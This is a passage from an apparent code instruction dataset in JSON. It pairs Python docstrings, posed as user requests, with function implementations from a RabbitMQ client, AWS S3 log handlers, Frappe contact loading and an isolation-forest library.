output_list.extend([structured_sentinel, json.dumps(kwargs, default=convert_serializable_special_cases), structured_sentinel])\n return \" \".join(output_list)", "conversation_id": 24, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 25, "message_id": 0 }, { "role": "user", "content": "Construct a tree with\ndepth nvar,\ntotol order pt,\ninteraction jt: number of nonzero term.", "conversation_id": 25, "message_id": 1 }, { "role": "assistant", "content": "def tree_building(tree, nvar, pt, jt):\n if nvar == 1 and (jt != 0 or pt == 0):\n nn = Node(pt)\n tree.add_child(nn)\n else:\n for ii in range(pt+1):\n next_pt = pt - ii\n if ii == 0:\n next_jt = jt\n else:\n next_jt = jt - 1\n if next_jt <= nvar - 1 \\\n and next_jt <= next_pt \\\n and (next_jt > 0 or (next_jt == 0 and next_pt == 0)):\n nn = Node(ii)\n tree.add_child(nn)\n tree_building(nn, nvar-1, next_pt, next_jt)\n else:\n pass", "conversation_id": 25, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 26, "message_id": 0 }, { "role": "user", "content": "return the Total Combination with\nnvar: number of variable\norder: total order\nqnorm : qnorm constraint.", "conversation_id": 26, "message_id": 1 }, { "role": "assistant", "content": "def total_combination(nvar, order, jtmax=np.inf, qnorm=1):\n order_list = []\n for sum_order in range(order + 1):\n for jt in range(min(sum_order+1, jtmax+1)):\n order_list += single_combination(nvar, sum_order, jt, order, qnorm)\n return order_list", "conversation_id": 26, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 27, "message_id": 0 }, { "role": "user", "content": "build large X, Y for linear regression.", "conversation_id": 27, "message_id": 1 }, { "role": "assistant", "content": "def build_xy(order_list, poly, x, y, xdev=[], dydx=[]):\n X = expand_x(order_list, x, poly)\n Y = np.array(y).flatten()\n if len(xdev) != 0:\n Xdev = expand_dev_xy(order_list, xdev, poly)\n Dydx = np.array(dydx).flatten()\n X = np.vstack((X, Xdev))\n Y = np.append(Y, Dydx)\n return X, Y", "conversation_id": 27, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 28, "message_id": 0 }, { "role": "user", "content": "Turns human given string to time in minutes\ne.g..", "conversation_id": 28, "message_id": 1 }, { "role": "assistant", "content": "def time_to_min(in_time: str) -> int:\n times = [int(x.strip()) for x in in_time.strip(\"m\").split(\"h\")]\n assert len(times) <= 2\n if len(times) == 1:\n return times[0]\n else:\n return times[0] * 60 + times[1]", "conversation_id": 28, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 29, "message_id": 0 }, { "role": "user", "content": "Main scoring function that calculates the winnings.", "conversation_id": 29, "message_id": 1 }, { "role": "assistant", "content": "def score(times: list, pot: int, power: int = 0.1) -> list:\n power_times = [x ** power for x in times]\n max_time, min_time = max(power_times), min(power_times)\n scores = [max_time - x for x in power_times]\n return [round(float(x) / sum(scores) * pot, 2) for x in scores]", "conversation_id": 29, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 30, "message_id": 0 }, { "role": "user", "content": "Execute the RPC command for the frame..", "conversation_id": 30, "message_id": 1 }, { "role": "assistant", "content": "def _rpc(self, frame_value):\n LOGGER.debug('Issuing RPC to RabbitMQ: %r', frame_value)\n if self.channel.closed:\n raise exceptions.ChannelClosedException()\n return self.channel.rpc(frame_value)", "conversation_id": 30, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 31, "message_id": 0 }, { "role": "user", "content": "Write a frame to the channel's connection.", "conversation_id": 31, "message_id": 1 }, { "role": "assistant", "content": "def _write_frame(self, frame_value):\n self.channel.write_frame(frame_value)", "conversation_id": 31, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 32, "message_id": 0 }, { "role": "user", "content": "Set the state to the specified value, validating it is a supported\nstate value..", "conversation_id": 32, "message_id": 1 }, { "role": "assistant", "content": "def _set_state(self, value):\n if value not in list(self.STATES.keys()):\n raise ValueError('Invalid state value: %r' % value)\n LOGGER.debug('%s setting state to %r',\n self.__class__.__name__, self.STATES[value])\n self._state = value", "conversation_id": 32, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 33, "message_id": 0 }, { "role": "user", "content": "Returns True if in the CLOSED runtime state.", "conversation_id": 33, "message_id": 1 }, { "role": "assistant", "content": "def closed(self):\n return self._state == self.CLOSED", "conversation_id": 33, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 34, "message_id": 0 }, { "role": "user", "content": "Returns True if in the CLOSING runtime state.", "conversation_id": 34, "message_id": 1 }, { "role": "assistant", "content": "def closing(self):\n return self._state == self.CLOSING", "conversation_id": 34, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 35, "message_id": 0 }, { "role": "user", "content": "Returns True if in the OPEN runtime state.", "conversation_id": 35, "message_id": 1 }, { "role": "assistant", "content": "def open(self):\n return self._state == self.OPEN", "conversation_id": 35, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 36, "message_id": 0 }, { "role": "user", "content": "Returns True if in the OPENING runtime state.", "conversation_id": 36, "message_id": 1 }, { "role": "assistant", "content": "def opening(self):\n return self._state == self.OPENING", "conversation_id": 36, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 37, "message_id": 0 }, { "role": "user", "content": "Returns the text based description of the runtime state.", "conversation_id": 37, "message_id": 1 }, { "role": "assistant", "content": "def state_description(self):\n return self.STATES[self._state]", "conversation_id": 37, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 38, "message_id": 0 }, { "role": "user", "content": "Send a RPC command to the remote server. This should not be directly\ninvoked..", "conversation_id": 38, "message_id": 1 }, { "role": "assistant", "content": "def rpc(self, frame_value):\n if self.closed:\n raise exceptions.ChannelClosedException()\n if self._is_debugging:\n LOGGER.debug('Sending %r', frame_value.name)\n self.write_frame(frame_value)\n if frame_value.synchronous:\n return self._wait_on_frame(frame_value.valid_responses)", "conversation_id": 38, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 39, "message_id": 0 }, { "role": "user", "content": "Used by the Message.publish method when publisher confirmations are\nenabled..", "conversation_id": 39, "message_id": 1 }, { "role": "assistant", "content": "def wait_for_confirmation(self):\n return self._wait_on_frame([specification.Basic.Ack,\n specification.Basic.Nack])", "conversation_id": 39, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 40, "message_id": 0 }, { "role": "user", "content": "Put the frame in the write queue for the IOWriter object to write to\nthe socket when it can. This should not be directly invoked..", "conversation_id": 40, "message_id": 1 }, { "role": "assistant", "content": "def write_frame(self, frame):\n if self.closed:\n return\n self._check_for_exceptions()\n if self._is_debugging:\n LOGGER.debug('Writing frame: %s', frame.name)\n with self._write_lock:\n self._write_queue.put((self._channel_id, frame))\n self._trigger_write()", "conversation_id": 40, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 41, "message_id": 0 }, { "role": "user", "content": "Add a list of frames for the IOWriter object to write to the socket\nwhen it can..", "conversation_id": 41, "message_id": 1 }, { "role": "assistant", "content": "def write_frames(self, frames):\n if self.closed:\n return\n self._check_for_exceptions()\n if self._is_debugging:\n LOGGER.debug('Writing frames: %r', [frame.name for frame in frames])\n with self._write_lock:\n [self._write_queue.put((self._channel_id, frame))\n for frame in frames]\n self._trigger_write()", "conversation_id": 41, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 42, "message_id": 0 }, { "role": "user", "content": "Return the proper close frame for this object..", "conversation_id": 42, "message_id": 1 }, { "role": "assistant", "content": "def _build_close_frame(self):\n return self.CLOSE_REQUEST_FRAME(self.DEFAULT_CLOSE_CODE,\n self.DEFAULT_CLOSE_REASON)", "conversation_id": 42, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 43, "message_id": 0 }, { "role": "user", "content": "Check if there are any queued exceptions to raise, raising it if\nthere is..", "conversation_id": 43, "message_id": 1 }, { "role": "assistant", "content": "def _check_for_exceptions(self):\n if not self._exceptions.empty():\n exception = self._exceptions.get()\n self._exceptions.task_done()\n raise exception", "conversation_id": 43, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 44, "message_id": 0 }, { "role": "user", "content": "Implement in child objects to inspect frames for channel specific\nRPC requests from RabbitMQ..", "conversation_id": 44, "message_id": 1 }, { "role": "assistant", "content": "def _check_for_rpc_request(self, value):\n if isinstance(value, specification.Channel.Close):\n LOGGER.debug('Channel closed')\n self._on_remote_close(value)", "conversation_id": 44, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 45, "message_id": 0 }, { "role": "user", "content": "Invoke to interrupt the current self._wait_on_frame blocking loop\nin order to allow for a flow such as waiting on a full message while\nconsuming. Will wait until the ``_wait_on_frame_interrupt`` is cleared\nto make this a blocking operation..", "conversation_id": 45, "message_id": 1 }, { "role": "assistant", "content": "def _interrupt_wait_on_frame(self, callback, *args):\n if not self._waiting:\n if self._is_debugging:\n LOGGER.debug('No need to interrupt wait')\n return callback(*args)\n LOGGER.debug('Interrupting the wait on frame')\n self._interrupt['callback'] = callback\n self._interrupt['args'] = args\n self._interrupt['event'].set()", "conversation_id": 45, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 46, "message_id": 0 }, { "role": "user", "content": "Handle RabbitMQ remotely closing the channel.", "conversation_id": 46, "message_id": 1 }, { "role": "assistant", "content": "def _on_remote_close(self, value):\n self._set_state(self.REMOTE_CLOSED)\n if value.reply_code in exceptions.AMQP:\n LOGGER.error('Received remote close (%s): %s',\n value.reply_code, value.reply_text)\n raise exceptions.AMQP[value.reply_code](value)\n else:\n raise exceptions.RemoteClosedChannelException(self._channel_id,\n value.reply_code,\n value.reply_text)", "conversation_id": 46, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 47, "message_id": 0 }, { "role": "user", "content": "Check to see if a frame is in the queue and if so, return it.", "conversation_id": 47, "message_id": 1 }, { "role": "assistant", "content": "def _read_from_queue(self):\n if not self.closing and self.blocking_read:\n LOGGER.debug('Performing a blocking read')\n value = self._read_queue.get()\n self._read_queue.task_done()\n else:\n try:\n value = self._read_queue.get(True, .1)\n self._read_queue.task_done()\n except queue.Empty:\n value = None\n return value", "conversation_id": 47, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 48, "message_id": 0 }, { "role": "user", "content": "Notifies the IO loop we need to write a frame by writing a byte\nto a local socket..", "conversation_id": 48, "message_id": 1 }, { "role": "assistant", "content": "def _trigger_write(self):\n try:\n self._write_trigger.send(b'0')\n except socket.error:\n pass", "conversation_id": 48, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 49, "message_id": 0 }, { "role": "user", "content": "Validate the frame value against the frame type. The frame type can\nbe an individual frame type or a list of frame types..", "conversation_id": 49, "message_id": 1 }, { "role": "assistant", "content": "def _validate_frame_type(self, frame_value, frame_type):\n if frame_value is None:\n if self._is_debugging:\n LOGGER.debug('Frame value is none?')\n return False\n if isinstance(frame_type, str):\n if frame_value.name == frame_type:\n return True\n elif isinstance(frame_type, list):\n for frame_t in frame_type:\n result = self._validate_frame_type(frame_value, frame_t)\n if result:\n return True\n return False\n elif isinstance(frame_value, specification.Frame):\n return frame_value.name == frame_type.name\n return False", "conversation_id": 49, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 50, "message_id": 0 }, { "role": "user", "content": "Read from the queue, blocking until a result is returned. An\nindividual frame type or a list of frame types can be passed in to wait\nfor specific frame types. If there is no match on the frame retrieved\nfrom the queue, put the frame back in the queue and recursively\ncall the method..", "conversation_id": 50, "message_id": 1 }, { "role": "assistant", "content": "def _wait_on_frame(self, frame_type=None):\n if isinstance(frame_type, list) and len(frame_type) == 1:\n frame_type = frame_type[0]\n if self._is_debugging:\n LOGGER.debug('Waiting on %r frame(s)', frame_type)\n start_state = self.state\n self._waiting = True\n while not self.closed and start_state == self.state:\n value = self._read_from_queue()\n if value is not None:\n self._check_for_rpc_request(value)\n if frame_type and self._validate_frame_type(value, frame_type):\n self._waiting = False\n return value\n self._read_queue.put(value)\n try:\n self._check_for_exceptions()\n except:\n self._waiting = False\n raise\n if self._interrupt_is_set:\n if self._is_debugging:\n LOGGER.debug('Exiting wait due to interrupt')\n break\n self._waiting = False\n if self._interrupt_is_set:\n self._on_interrupt_set()", "conversation_id": 50, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 51, "message_id": 0 }, { "role": "user", "content": "Create and start the timer that will check every N*2 seconds to\nensure that a heartbeat has been requested..", "conversation_id": 51, "message_id": 1 }, { "role": "assistant", "content": "def _start_timer(self):\n if not self._interval:\n return\n LOGGER.debug('Started a heartbeat timer that will fire in %i sec',\n self._interval)\n self._timer = threading.Timer(self._interval, self._check)\n self._timer.daemon = True\n self._timer.start()", "conversation_id": 51, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 52, "message_id": 0 }, { "role": "user", "content": "Return the number of bytes read/received from RabbitMQ.", "conversation_id": 52, "message_id": 1 }, { "role": "assistant", "content": "def bytes_received(self):\n return self._bytes_read", "conversation_id": 52, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 53, "message_id": 0 }, { "role": "user", "content": "Common functions when a socket error occurs. Make sure to set closed\nand add the exception, and note an exception event..", "conversation_id": 53, "message_id": 1 }, { "role": "assistant", "content": "def on_error(self, exception):\n args = [self._args['host'], self._args['port'], str(exception)]\n if self._channels[0][0].open:\n self._exceptions.put(exceptions.ConnectionResetException(*args))\n else:\n self._exceptions.put(exceptions.ConnectionException(*args))\n self._events.set(events.EXCEPTION_RAISED)", "conversation_id": 53, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 54, "message_id": 0 }, { "role": "user", "content": "Connect the socket to the specified host and port..", "conversation_id": 54, "message_id": 1 }, { "role": "assistant", "content": "def _connect_socket(self, sock, address):\n LOGGER.debug('Connecting to %r', address)\n sock.settimeout(self._args['timeout'])\n sock.connect(address)", "conversation_id": 54, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 55, "message_id": 0 }, { "role": "user", "content": "The handler for s3 CreateObject event and send the logs to Cloudwatch.", "conversation_id": 55, "message_id": 1 }, { "role": "assistant", "content": "def handle_s3_logs(event, log_group, log_stream, log_format):\n data = utils.parse_data(utils.unpack_data_from_s3(event), log_format)\n cloud_watch = Cloudwatch(log_group, log_stream)\n cloud_watch.send_logs(data)", "conversation_id": 55, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 56, "message_id": 0 }, { "role": "user", "content": "The handler for s3 CreateObject event to extract akamai log file from email and upload.", "conversation_id": 56, "message_id": 1 }, { "role": "assistant", "content": "def handle_s3_akamai_email(event, bucket, prefix=''):\n data = utils.unpack_data_from_s3(event)\n utils.extract_email_and_upload(data, bucket, prefix)", "conversation_id": 56, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 57, "message_id": 0 }, { "role": "user", "content": "load object from s3 CreateObject event.", "conversation_id": 57, "message_id": 1 }, { "role": "assistant", "content": "def unpack_data_from_s3(event):\n bucket = event['Records'][0]['s3']['bucket']['name']\n key = event['Records'][0]['s3']['object']['key']\n print(\"Processing file s3://{}/{}\".format(bucket, key))\n response = S3.get_object(Bucket=bucket, Key=key)\n data = response['Body'].read()\n if key[-3:] == '.gz':\n data = gzip.decompress(data)\n return data", "conversation_id": 57, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 58, "message_id": 0 }, { "role": "user", "content": "parse data into json format logs.", "conversation_id": 58, "message_id": 1 }, { "role": "assistant", "content": "def parse_data(data, log_format):\n logs = []\n data = str(data, 'utf-8', errors='backslashreplace').splitlines()\n result = csv.DictReader((row for row in data if not row.startswith('#')),\n fieldnames=log_format, delimiter='\\t')\n for row in result:\n date = row.pop('logdate')\n time = row.pop('logtime')\n log = {\n 'message': json.dumps(row),\n 'timestamp': int(datetime.strptime(\n date + \" \" + time, '%Y-%m-%d %H:%M:%S').timestamp() * 1000)\n }\n logs.append(log)\n logs.sort(key=lambda x: x['timestamp'])\n return logs", "conversation_id": 58, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 59, "message_id": 0 }, { "role": "user", "content": "Extract akamai LDS email data in gzip/mime type.", "conversation_id": 59, "message_id": 1 }, { "role": "assistant", "content": "def extract_email_and_upload(data, bucket, prefix):\n try:\n msg = email.message_from_bytes(data)\n filename = msg['subject']\n if not filename or not filename.endswith('.gzm'):\n print(\"Invalid file, subject is: \" + filename)\n return 1\n regx = re.compile('.gzm\\\\b')\n count = 0\n for part in msg.walk():\n decoded_filename = regx.sub(str(count) + '.gz', filename)\n if part.get_content_maintype() == 'multipart':\n continue\n upload_objects_to_s3(\n bucket, prefix + decoded_filename, part.get_payload(decode=True))\n count += 1\n return 0\n except Exception as err:\n raise err", "conversation_id": 59, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 60, "message_id": 0 }, { "role": "user", "content": "Loads address list and contact list in `__onload`.", "conversation_id": 60, "message_id": 1 }, { "role": "assistant", "content": "def load_address_and_contact(**doc):\n\tdoc = json.loads(doc.get(\"doc\"))\n\tdoc_type = doc.get(\"message\").get(\"doctype\")\n\tdoc_name = doc.get(\"message\").get(\"name\")\n\tfrom frappe.contacts.doctype.address.address import get_address_display, get_condensed_address\n\tfilters = [\n\t\t[\"Dynamic Link\", \"link_doctype\", \"=\", doc_type],\n\t\t[\"Dynamic Link\", \"link_name\", \"=\", doc_name],\n\t\t[\"Dynamic Link\", \"parenttype\", \"=\", \"Address\"],\n\t]\n\taddress_list = frappe.get_all(\"Address\", filters=filters, fields=[\"*\"])\n\taddress_list = [a.update({\"display\": get_address_display(a)})\n\t\tfor a in address_list]\n\taddress_list = sorted(address_list,\n\t\tkey = functools.cmp_to_key(lambda a, b:\n\t\t\t(int(a.is_primary_address - b.is_primary_address)) or\n\t\t\t(1 if a.modified - b.modified else 0)), reverse=True)\n\tcontact_list = []\n\tfilters = [\n\t\t[\"Dynamic Link\", \"link_doctype\", \"=\", doc_type],\n\t\t[\"Dynamic Link\", \"link_name\", \"=\", doc_name],\n\t\t[\"Dynamic Link\", \"parenttype\", \"=\", \"Contact\"],\n\t]\n\tcontact_list = frappe.get_all(\"Contact\", filters=filters, fields=[\"*\"])\n\tfor contact in contact_list:\n\t\tcontact[\"email_ids\"] = frappe.get_list(\"Contact Email\", filters={\n\t\t\t\t\"parenttype\": \"Contact\",\n\t\t\t\t\"parent\": contact.name,\n\t\t\t\t\"is_primary\": 0\n\t\t\t}, fields=[\"email_id\"])\n\t\tcontact[\"phone_nos\"] = frappe.get_list(\"Contact Phone\", filters={\n\t\t\t\t\"parenttype\": \"Contact\",\n\t\t\t\t\"parent\": contact.name,\n\t\t\t\t\"is_primary_phone\": 0,\n\t\t\t\t\"is_primary_mobile_no\": 0\n\t\t\t}, fields=[\"phone\"])\n\t\tif contact.address:\n\t\t\taddress = frappe.get_doc(\"Address\", contact.address)\n\t\t\tcontact[\"address\"] = get_condensed_address(address)\n\tcontact_list = sorted(contact_list,\n\t\tkey = functools.cmp_to_key(lambda a, b:\n\t\t\t(int(a.is_primary_contact - b.is_primary_contact)) or\n\t\t\t(1 if a.modified - b.modified else 0)), reverse=True)\n\treturn {\"address_list\":address_list, \"contact_list\":contact_list}", "conversation_id": 60, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 61, "message_id": 0 }, { "role": "user", "content": "Predict outlierness based on average isolation depth\nCalculates the approximate depth that it takes to isolate an observation according to the\nfitted model splits. Can output either the average depth, or a standardized outlier score\nbased on whether it takes more or fewer splits than average to isolate observations. In the\nstandardized outlier score metric, values closer to 1 indicate more outlierness, while values\ncloser to 0.5 indicate average outlierness, and close to 0 more averageness (harder to isolate).\n\nNote\n\nThe more threads that are set for the model, the higher the memory requirements will be as each\nthread will allocate an array with one entry per row.\n\nNote\n\nPredictions for sparse data will be much slower than for dense data. Not recommended to pass\nsparse matrices unless they are too big to fit in memory.\n\nNote\n\nIn order to save memory when fitting and serializing models, the functionality for outputting\nterminal node number will generate index mappings on the fly for all tree nodes, even if passing only\n1 row, so it's only recommended for batch predictions.\n\nNote\n\nThe outlier scores/depth predict functionality is optimized for making predictions on one or a\nfew rows at a time - for making large batches of predictions, it might be faster to use the\n'fit_predict' functionality.\n\nParameters\n\nX : array or array-like (n_samples, n_features)\nObservations for which to predict outlierness or average isolation depth. Can pass\na NumPy array, Pandas DataFrame, or SciPy sparse CSC or CSR matrix.\n\nReturns\n\nscore : array(n_samples,) or array(n_samples, n_trees)\nRequested output type for each row accoring to parameter 'output' (outlier scores,\naverage isolation depth, or terminal node indices)..", "conversation_id": 61, "message_id": 1 }, { "role": "assistant", "content": "def predict(self, X, output = \"score\"):\n assert self.is_fitted_\n assert output in [\"score\", \"avg_depth\", \"tree_num\"]\n X_num, X_cat, nrows = self._process_data_new(X)\n if output == \"tree_num\":\n if self.missing_action == \"divide\":\n raise ValueError(\"Cannot output tree number when using 'missing_action' = 'divide'.\")\n if self.new_categ_action == \"weighted\":\n raise ValueError(\"Cannot output tree number when using 'new_categ_action' = 'weighted'.\")\n if nrows == 1:\n warnings.warn(\"Predicting tree number is slow, not recommended to do for 1 row at a time.\")\n depths, tree_num = self._cpp_obj.predict(X_num, X_cat, self._is_extended_,\n ctypes.c_size_t(nrows).value,\n ctypes.c_int(self.nthreads).value,\n ctypes.c_bool(output == \"score\").value,\n ctypes.c_bool(output == \"tree_num\").value)\n if output in [\"score\", \"avg_depth\"]:\n return depths\n else:\n return tree_num", "conversation_id": 61, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 62, "message_id": 0 }, { "role": "user", "content": "Appends isolation trees from another Isolation Forest model into this one\nThis function is intended for merging models **that use the same hyperparameters** but\nwere fitted to different subsets of data.\n\nIn order for this to work, both models must have been fit to data in the same format\nthat is, same number of columns, same order of the columns, and same column types, although\nnot necessarily same object classes .\n\n\n\nNote\n\nThis function will not perform any checks on the inputs, and passing two incompatible\nmodels will result in wrong results and\npotentially crashing the Python process when using it.\n\nParameters\n\nother : IsolationForest\nAnother Isolation Forest model from which trees will be appended to this model.\nIt will not be modified during the call to this function.\n\nReturns\n\nself : obj\nThis object..", "conversation_id": 62, "message_id": 1 }, { "role": "assistant", "content": "def append_trees(self, other):\n assert self.is_fitted_\n assert other.is_fitted_\n assert isinstance(other, IsolationForest)\n if (self._is_extended_) != (other._is_extended_):\n raise ValueError(\"Cannot mix extended and regular isolation forest models (ndim=1).\")\n if self.cols_categ_.shape[0]:\n warnings.warn(\"Merging models with categorical features might give wrong results.\")\n self._cpp_obj.append_trees_from_other(other._cpp_obj, self._is_extended_)\n self.ntrees += other.ntrees\n return self", "conversation_id": 62, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 63, "message_id": 0 }, { "role": "user", "content": "Export Isolation Forest model\nSave Isolation Forest model to a serialized file along with its\nmetadata, in order to be re-used in Python or in the R or the C++ versions of this package.\n\nAlthough the model objects are always serializable through ``pickle``, this function\nmight provide a faster alternative and use less memory when the models to serialize are big.\n\nNote that, if the model was fitted to a ``DataFrame``, the column names must be\nsomething exportable as JSON, and must be something that R could\nuse as column names .\n\nIt is recommended to visually inspect the produced ``.metadata`` file in any case.\n\n\n\n\n\nThe metadata will contain, among other things, the encoding that was used for\ncategorical columns - this is under ``data_info.cat_levels``, as an array of arrays by column,\nwith the first entry for each column corresponding to category 0, second to category 1,\nand so on (the C++ version takes them as integers).\n\nThe serialized file can be used in the C++ version by reading it as a binary raw file\nand de-serializing its contents with the ``cereal`` library or using the provided C++ functions\nfor de-serialization.\n\nThe metadata is not used in the C++ version, but is necessary for the R and Python versions.\n\nNote\n\nThe model treats boolean variables as categorical. Thus, if the model was fit\nto a ``DataFrame`` with boolean columns, when importing this model into C++, they need to be\nencoded in the same order - e.g.\n\nParameters\n\nfile : str\nThe output file path into which to export the model. Must be a file name, not a\nfile handle.\nuse_cpp : bool\nWhether to use C++ directly for IO. Using the C++ funcionality directly is faster, and\nwill write directly to a file instead of first creating the file contents in-memory,\nbut in Windows, if the library was compiled with a compiler other than MSVC,\nfile paths that contain non-ASCII characters will faill to write\nand might crash the Python process along with it. If passing ``False``, it will at\nfirst create the file contents in-memory in a Python object, and then use a Python\nfile handle to write such contents into a file.\n\nReturns\n\nself : obj\nThis object.\n\nReferences.", "conversation_id": 63, "message_id": 1 }, { "role": "assistant", "content": "def export_model(self, file, use_cpp = True):\n assert self.is_fitted_\n metadata = self._export_metadata()\n with open(file + \".metadata\", \"w\") as of:\n json.dump(metadata, of, indent=4)\n self._cpp_obj.serialize_obj(file, use_cpp, self.ndim > 1)\n return self", "conversation_id": 63, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 64, "message_id": 0 }, { "role": "user", "content": "Note\n\nMaking predictions through SQL is much less efficient than from the model\nitself, as each terminal node will have to check all of the conditions\nthat lead to it instead of passing observations down a tree.\n\nNote\n\nIf constructed with the default arguments, the model will not perform any\nsub-sampling, which can lead to very big trees. If it was fit to a large\ndataset, the generated SQL might consist of gigabytes of text, and might\nlay well beyond the character limit of commands accepted by SQL vendors.\n\nNote\n\n\n\nNote\n\nThe generated SQL statements will only include handling of missing values\nwhen using ``missing_action=\"impute\"``.\n\nNote\n\nThe resulting statements will include all the tree conditions as-is,\nwith no simplification. Thus, there might be lots of redundant conditions\nin a given terminal node .\n\nParameters\n\nenclose : str\nWith which symbols to enclose the column names in the select statement\nso as to make them SQL compatible in case they include characters like dots.\nOptions are.\n\n\n\n\n\n``\"none\"``:\nWill output the column names as-is\noutput_tree_num : bool\nWhether to make the statements return the terminal node number\ninstead of the isolation depth. The numeration will start at zero.\ntree : int or None\nTree for which to generate SQL statements. If passed, will generate\nthe statements only for that single tree. If passing 'None', will\ngenerate statements for all trees in the model.\ntable_from : str or None\nIf passing this, will generate a single select statement for the\noutlier score from all trees, selecting the data from the table\nname passed here. In this case, will always output the outlier\nscore, regardless of what is passed under ``output_tree_num``.\nselect_as : str\nAlias to give to the generated outlier score in the select statement.\nIgnored when not passing ``table_from``.\ncolumn_names : None or list[str]\nColumn names to use for the **numeric** columns.\n\nReturns\n\nsql : list[str] or str\nA list of SQL statements for each tree as strings, or the SQL statement\nfor a single tree if passing 'tree', or a single select-from SQL statement\nwith all the trees concatenated if passing ``table_from``..", "conversation_id": 64, "message_id": 1 }, { "role": "assistant", "content": "def generate_sql(self, enclose=\"doublequotes\", output_tree_num = False, tree = None,\n table_from = None, select_as = \"outlier_score\",\n column_names = None, column_names_categ = None):\n assert self.is_fitted_\n single_tree = False\n if tree is not None:\n if isinstance(tree, float):\n tree = int(tree)\n assert isinstance(tree, int)\n assert tree >= 0\n assert tree < self.ntrees\n single_tree = True\n else:\n tree = 0\n output_tree_num = bool(output_tree_num)\n if self._ncols_numeric:\n if column_names is not None:\n if len(column_names) != self._ncols_numeric:\n raise ValueError(\"'column_names' must have %d entries.\" % self._ncols_numeric)\n else:\n if self.cols_numeric_.shape[0]:\n column_names = self.cols_numeric_\n else:\n column_names = [\"column_\" + str(cl) for cl in range(self._ncols_numeric)]\n else:\n column_names = []\n if self.cols_categ_.shape[0]:\n if column_names_categ is not None:\n if len(column_names_categ) != self.cols_categ_.shape[0]:\n raise ValueError(\"'column_names_categ' must have %d entries.\" % self.cols_categ_.shape[0])\n else:\n column_names_categ = self.cols_categ_\n categ_levels = [[str(lev) for lev in mp] for mp in self._cat_mapping]\n else:\n column_names_categ = []\n categ_levels = []\n assert enclose in [\"doublequotes\", \"squarebraces\", \"none\"]\n if enclose != \"none\":\n enclose_left = '\"' if (enclose == \"doublequotes\") else '['\n enclose_right = '\"' if (enclose == \"doublequotes\") else ']'\n column_names = [enclose_left + cl + enclose_right for cl in column_names]\n 